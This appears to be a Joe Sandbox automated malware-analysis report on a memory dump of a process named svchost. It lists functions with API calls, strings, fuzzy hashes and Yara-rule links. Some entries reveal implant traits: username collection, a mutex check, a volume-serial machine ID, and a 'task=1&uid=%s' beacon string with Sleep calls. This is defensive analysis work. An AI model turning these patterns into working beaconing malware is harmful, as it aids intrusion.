Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: LockitLockit::_std::_$Getfacet__int64_lockstd::locale::_
String ID: bad cast
API String ID: 1826629674-3145022300
Opcode ID: 932e2d8308b347af2fb822a83c7166a45b16841b8f045a10c064c8219c059d73
Instruction ID: e21147688afd40d6297da07da4bb7f45ff77db517925f84ab2a2aa3458ce1ba8
Opcode Fuzzy Hash: 932e2d8308b347af2fb822a83c7166a45b16841b8f045a10c064c8219c059d73
Instruction Fuzzy Hash: AA21EC2261CA4681DA60DB15E49026AB760FBC87A4F609232FA9FC37B9DF7CD554CB40

Function 00007FF60BF8CA20 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF60BF8CA30

Part of subcall function 00007FF60BFB0610: _lock.LIBCMT ref: 00007FF60BFB0622

__int64.LIBCPMTD ref: 00007FF60BF8CA48

Part of subcall function 00007FF60BF8F6EC: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF60BF8F707

std::locale::_Getfacet.LIBCPMTD ref: 00007FF60BF8CA5F

Strings

bad cast, xrefs: 00007FF60BF8CAA2

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: LockitLockit::_std::_$Getfacet__int64_lockstd::locale::_
String ID: bad cast
API String ID: 1826629674-3145022300
Opcode ID: 6686d453f540abfc75b9a040e882549689efe832026ee8754cd51114fbe3f1ce
Instruction ID: 04ccf25217f7c69757323af2c91bf5ef27a30c1730a5a3bc3de1fb013ce2e51b
Opcode Fuzzy Hash: 6686d453f540abfc75b9a040e882549689efe832026ee8754cd51114fbe3f1ce
Instruction Fuzzy Hash: 9D21FD2251CE4681DA60DB15F49026AB360FB887A4F608232FA8FC37B9DF7CD544CB00

Function 00007FF60BFA63C4 Relevance: 12.2, APIs: 8, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc_crt.LIBCMT ref: 00007FF60BFA63ED

Part of subcall function 00007FF60BFA4254: malloc.LIBCMT ref: 00007FF60BFA427F
Part of subcall function 00007FF60BFA4254: Sleep.KERNEL32(?,?,?,00007FF60BFAAD9C,?,?,?,00007FF60BFAAC9B,?,?,00000000,00007FF60BFA5832,?,?,00000000,00007FF60BFA57A6), ref: 00007FF60BFA4292

free.LIBCMT ref: 00007FF60BFA64EE
free.LIBCMT ref: 00007FF60BFA650A

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: free$Sleep_malloc_crtmalloc
String ID:
API String ID: 2523592665-0
Opcode ID: 9dc3a43cf0aa1fcfdc29037b235636b50873e9ffe005ada4d84142dea13232af
Instruction ID: 14babc7c197ecbdd364da3ffdef25effc3fac56b461dc35a1291429f2d72f388
Opcode Fuzzy Hash: 9dc3a43cf0aa1fcfdc29037b235636b50873e9ffe005ada4d84142dea13232af
Instruction Fuzzy Hash: 1261E66270874193EB18DF16E94066933A4FB8CB94F688135DE5EC3B61DF3CE4668B00

Function 00007FF60BFA1D88 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF60BFA1DA5
_errno.LIBCMT ref: 00007FF60BFA1D9A

Part of subcall function 00007FF60BFA59A4: _getptd_noexit.LIBCMT ref: 00007FF60BFA59A8

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00007FF60BFA1DED
_errno.LIBCMT ref: 00007FF60BFA1DFC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF60BFA1E07

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: Locale_errno_invalid_parameter_noinfo$UpdateUpdate::__getptd_noexit
String ID:
API String ID: 781512312-0
Opcode ID: 64063577f5759fc087550664f9166848bfe9c81f154bd90bd0409ab7649f8bd4
Instruction ID: d36b19231184839b7729a5d300eac4b6716eb25a52d54c668578349687e7d07b
Opcode Fuzzy Hash: 64063577f5759fc087550664f9166848bfe9c81f154bd90bd0409ab7649f8bd4
Instruction Fuzzy Hash: B221D8D1E1C38242FB695721918037961A0AF9D7A0F75C230E65FDB7E5CE6CEA418F00

Function 00007FF60BF9CD90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 00007FF60BF9CDAC

Part of subcall function 00007FF60BFA244C: _FF_MSGBANNER.LIBCMT ref: 00007FF60BFA247C
Part of subcall function 00007FF60BFA244C: _NMSG_WRITE.LIBCMT ref: 00007FF60BFA2486
Part of subcall function 00007FF60BFA244C: HeapAlloc.KERNEL32(?,?,00000000,00007FF60BFA4284,?,?,?,00007FF60BFAAD9C,?,?,?,00007FF60BFAAC9B,?,?,00000000,00007FF60BFA5832), ref: 00007FF60BFA24A1
Part of subcall function 00007FF60BFA244C: _callnewh.LIBCMT ref: 00007FF60BFA24BA
Part of subcall function 00007FF60BFA244C: _errno.LIBCMT ref: 00007FF60BFA24C5
Part of subcall function 00007FF60BFA244C: _errno.LIBCMT ref: 00007FF60BFA24D0

GetUserNameA.ADVAPI32 ref: 00007FF60BF9CDD8
free.LIBCMT ref: 00007FF60BF9CDEA

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: _errno$AllocHeapNameUser_callnewhfreemalloc
String ID:
API String ID: 982591855-0
Opcode ID: cadc991865815251f5f87effce6c4517c62175ad35677cb75216a9f745d246b1
Instruction ID: 48cb372c88e6e832222468ab73c537623c95903d214a50c5b4e2b6be5d0ad2c5
Opcode Fuzzy Hash: cadc991865815251f5f87effce6c4517c62175ad35677cb75216a9f745d246b1
Instruction Fuzzy Hash: 4721647670CA4586EB109F2AE45032A73A4FBCDB84F608431EA8EC7765DF7DD8558B00

Function 00007FF60BF9FEC8 Relevance: 12.0, APIs: 8, Instructions: 31synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00007FF60BF9FEDA
ReleaseMutex.KERNEL32 ref: 00007FF60BF9FEF2
CloseHandle.KERNEL32 ref: 00007FF60BF9FEFD
GetLastError.KERNEL32 ref: 00007FF60BF9FF0A
ReleaseMutex.KERNEL32 ref: 00007FF60BF9FF1C
CloseHandle.KERNEL32 ref: 00007FF60BF9FF27

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID:
API String ID: 299056699-0
Opcode ID: fded58dde77be56de6fab05177e5339cc4062db6b0d45a6a30c187912645d6f3
Instruction ID: 7a0bc52b40dae3b02f652f71ced4454f9f9990094b6f0d5a7555ff0f33692825
Opcode Fuzzy Hash: fded58dde77be56de6fab05177e5339cc4062db6b0d45a6a30c187912645d6f3
Instruction Fuzzy Hash: 70019A2691CA4292E7209F21E9682296370FBCDB59F608532F98FC7774CF3CE5A5C610

Function 00007FF60BF95414 Relevance: 10.7, APIs: 7, Instructions: 247COMMON

Download Yara Rule

APIs

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF60BF954C1
type_info::_name_internal_method.LIBCMTD ref: 00007FF60BF9550A
_Ucopy.LIBCPMTD ref: 00007FF60BF9559E
_Ucopy.LIBCPMTD ref: 00007FF60BF955E8

Part of subcall function 00007FF60BF8FA80: UnDecorator::getVbTableType.LIBCMTD ref: 00007FF60BF8FAAA

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: Ucopy$Decorator::getMtx_guardMtx_guard::~_TableTypetype_info::_name_internal_method
String ID:
API String ID: 4074051914-0
Opcode ID: f014fbc6859682eefceef7ecbbf1b7741ac91cddb56665be6d968ce3dc7cad67
Instruction ID: ff69ef6379d7d78e8630cacdcd52dce4eae6e47af01490891fe9ef4fb8667698
Opcode Fuzzy Hash: f014fbc6859682eefceef7ecbbf1b7741ac91cddb56665be6d968ce3dc7cad67
Instruction Fuzzy Hash: C1D19266619BC985CA70DF5AE4903AAB361F7C9BC4F508026DACE87B69DF3CD444CB01

Function 00007FF60BF88980 Relevance: 10.6, APIs: 7, Instructions: 141COMMON

Download Yara Rule

APIs

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF60BF88A16
type_info::_name_internal_method.LIBCMTD ref: 00007FF60BF88A53
_Ucopy.LIBCPMTD ref: 00007FF60BF88A7E
_Ucopy.LIBCPMTD ref: 00007FF60BF88AA2
_Ucopy.LIBCPMTD ref: 00007FF60BF88AC4
_aligned_msize.LIBCMTD ref: 00007FF60BF88B47

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: Ucopy$Mtx_guardMtx_guard::~__aligned_msizetype_info::_name_internal_method
String ID:
API String ID: 1928733530-0
Opcode ID: 09518546536a787895912284108b7650a63c47b0a4a23c6140e26a573662d104
Instruction ID: 44927fccbcaea0c62a0d4b857b4babcd66f1ddc9bb60633f013adfe74dc53843
Opcode Fuzzy Hash: 09518546536a787895912284108b7650a63c47b0a4a23c6140e26a573662d104
Instruction Fuzzy Hash: 2E718026618B85C2DA50DB1AE49025EA7A0F7C8BD4F205126EBCE83B79DF3CD441CF00

Function 00007FF60BF88C60 Relevance: 10.6, APIs: 7, Instructions: 141COMMON

Download Yara Rule

APIs

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF60BF88CF6
type_info::_name_internal_method.LIBCMTD ref: 00007FF60BF88D33
_Ucopy.LIBCPMTD ref: 00007FF60BF88D5E
_Ucopy.LIBCPMTD ref: 00007FF60BF88D82
_Ucopy.LIBCPMTD ref: 00007FF60BF88DA4
_aligned_msize.LIBCMTD ref: 00007FF60BF88E27

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: Ucopy$Mtx_guardMtx_guard::~__aligned_msizetype_info::_name_internal_method
String ID:
API String ID: 1928733530-0
Opcode ID: 4325eb878f5f8b404332b1c80043bf9b581a45e85f0c9479c12b2f4d25b8355e
Instruction ID: 04fa3a46f1ede2394efae16768e93d8a8691aa6895032691dfc9e94a1f4e4575
Opcode Fuzzy Hash: 4325eb878f5f8b404332b1c80043bf9b581a45e85f0c9479c12b2f4d25b8355e
Instruction Fuzzy Hash: 72718026619B8582DA50DB5AE49025EA7A0F7C8BD4F605126EBCE83B79DF7CD441CF00

Function 00007FF60BFAF30C Relevance: 10.6, APIs: 7, Instructions: 122COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF60BFAF337
_errno.LIBCMT ref: 00007FF60BFAF32C

Part of subcall function 00007FF60BFA59A4: _getptd_noexit.LIBCMT ref: 00007FF60BFA59A8

_errno.LIBCMT ref: 00007FF60BFAF3DA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF60BFAF3E5

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfo$_getptd_noexit
String ID:
API String ID: 1573762532-0
Opcode ID: a13fad1822833028ca0eb10c8db0b597438e1cbbeed43b07fa581a08987f042d
Instruction ID: 5a1e3c2095377b3f8d2182d790fbb8f014a24a7feb102c1658faac0b29c23bfd
Opcode Fuzzy Hash: a13fad1822833028ca0eb10c8db0b597438e1cbbeed43b07fa581a08987f042d
Instruction Fuzzy Hash: B14138E6E1839281EF6CAB1195801B972A0FF48794FA4C131DE8ECB6E5DF2CE4508B00

Function 00007FF60BFA3424 Relevance: 10.6, APIs: 7, Instructions: 107COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF60BFA344A
_errno.LIBCMT ref: 00007FF60BFA343F

Part of subcall function 00007FF60BFA59A4: _getptd_noexit.LIBCMT ref: 00007FF60BFA59A8

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00007FF60BFA34C9
_errno.LIBCMT ref: 00007FF60BFA34DA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF60BFA34E5

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: Locale_errno_invalid_parameter_noinfo$UpdateUpdate::__getptd_noexit
String ID:
API String ID: 781512312-0
Opcode ID: 9ed3336eb9426492d7b9aa9cf18bd71b667003e75d89d3dfa61ab95dda06c464
Instruction ID: f820444080828d4331fa76b2eeaed723c380fede9ccd19f83d33a6b270da7b74
Opcode Fuzzy Hash: 9ed3336eb9426492d7b9aa9cf18bd71b667003e75d89d3dfa61ab95dda06c464
Instruction Fuzzy Hash: EB412FE2E182A345EB689B1591401B972A0EF58BA0FA4C135EB9FC76D4DF2CE551CF04

Function 00007FF60BFA0D0C Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32 ref: 00007FF60BFA0D41
GetVolumeInformationA.KERNEL32 ref: 00007FF60BFA0DCF
wsprintfA.USER32 ref: 00007FF60BFA0E5E

Strings

C, xrefs: 00007FF60BFA0D54
\, xrefs: 00007FF60BFA0D8A
%08lX%04lX%lu, xrefs: 00007FF60BFA0E4F

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: %08lX%04lX%lu$C$\
API String ID: 3001812590-4231652159
Opcode ID: 7bd2a999512e55fdd9f8ee897116d2d3bdff1adfd49b806867a6735701cc4331
Instruction ID: c669231f539d470108ec06ee516b9e3267b0911fe3df22f89893302e57c59813
Opcode Fuzzy Hash: 7bd2a999512e55fdd9f8ee897116d2d3bdff1adfd49b806867a6735701cc4331
Instruction Fuzzy Hash: C1311B7260C68186E7158B68F4543AABBA0E7CA704F644135E78EC7BA9DF7ED944CF00

Function 00007FF60BFA7A68 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00007FF60BFA7A89
_getptd.LIBCMT ref: 00007FF60BFA7A97
_getptd.LIBCMT ref: 00007FF60BFA7AA9

Strings

RCC, xrefs: 00007FF60BFA7A6F
csm, xrefs: 00007FF60BFA7A7F
MOC, xrefs: 00007FF60BFA7A77

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: _getptd
String ID: MOC$RCC$csm
API String ID: 3186804695-2671469338
Opcode ID: 8894c65672d227fda39ec56e5dcad6079c82dd72da27f0faa52aa83d8d89759d
Instruction ID: cafc45187577947f2301ea9a5a4d70ecf034121bd3006032a56732babd5c833e
Opcode Fuzzy Hash: 8894c65672d227fda39ec56e5dcad6079c82dd72da27f0faa52aa83d8d89759d
Instruction Fuzzy Hash: 18F0F8B5918106E9E6692BA580057BC7190EFAC706FA5D471C20AC33B29FAC79818F12

Function 00007FF60BF9C9D0 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 102sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF60BFA0D0C: GetWindowsDirectoryA.KERNEL32 ref: 00007FF60BFA0D41
Part of subcall function 00007FF60BFA0D0C: GetVolumeInformationA.KERNEL32 ref: 00007FF60BFA0DCF
Part of subcall function 00007FF60BFA0D0C: wsprintfA.USER32 ref: 00007FF60BFA0E5E

_snprintf.LIBCMT ref: 00007FF60BF9CA46

Part of subcall function 00007FF60BFA3598: _errno.LIBCMT ref: 00007FF60BFA35CF
Part of subcall function 00007FF60BFA3598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF60BFA35DA

Sleep.KERNEL32 ref: 00007FF60BF9CB24
Sleep.KERNEL32 ref: 00007FF60BF9CB78

Strings

task=1&uid=%s, xrefs: 00007FF60BF9CA11
err, xrefs: 00007FF60BF9CAFA
data=, xrefs: 00007FF60BF9CA8D

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: Sleep$DirectoryInformationVolumeWindows_errno_invalid_parameter_noinfo_snprintfwsprintf
String ID: data=$err$task=1&uid=%s
API String ID: 1865811002-1781340663
Opcode ID: 0af1d471e20986adbd40fd4a058f03d5b486d937defcffe757d3d044ca000848
Instruction ID: a99fa9a935495774ae563c3f344e61b37fa44fc36c82cea1e1a2bd09c332fe87
Opcode Fuzzy Hash: 0af1d471e20986adbd40fd4a058f03d5b486d937defcffe757d3d044ca000848
Instruction Fuzzy Hash: D3414F2261C68586E760DF14E4543AAB7A1F7C8794F648631E68EC3BE8DF3CD949CB00

Function 00007FF60BF82BEC Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF60BF83970: shared_ptr.LIBCPMTD ref: 00007FF60BF83990

type_info::_name_internal_method.LIBCMTD ref: 00007FF60BF82C1D

Strings

0, xrefs: 00007FF60BF82C6E
\??\, xrefs: 00007FF60BF82BF9
@, xrefs: 00007FF60BF82C7F
, xrefs: 00007FF60BF82CE2

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: shared_ptrtype_info::_name_internal_method
String ID: $0$@$\??\
API String ID: 1070490614-1644384263
Opcode ID: 80fea6cff64a10e925d1ccc44b306e79c79c634c3964aa946b29e6fce584649f
Instruction ID: 8595011f0ef97a617fec78e7ed0be17f4f084afeff0c9e67480426fd797a886c
Opcode Fuzzy Hash: 80fea6cff64a10e925d1ccc44b306e79c79c634c3964aa946b29e6fce584649f
Instruction Fuzzy Hash: 64310832218A859AD750CB15E45439AB7A1F7887A0FA04235E79D83BF9EF7CC148CB40

Function 00007FF60BFA03F4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF60BFA0411
PathFindFileNameW.SHLWAPI ref: 00007FF60BFA0424
wcslen.MSVCRT ref: 00007FF60BFA0434
wcsncpy.MSVCRT ref: 00007FF60BFA04D5

Strings

Unknown, xrefs: 00007FF60BFA04C6

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: FileName$FindModulePathwcslenwcsncpy
String ID: Unknown
API String ID: 4220601557-1654365787
Opcode ID: 1dfae691d3f300e8eb9ec59fb40c600c63e8ff47fd4a1043f669c2907b9887a7
Instruction ID: 8e74c1a83af79c8a6b7a9df7adbe86d00959af9a339c3651680c7cbed87c5ce7
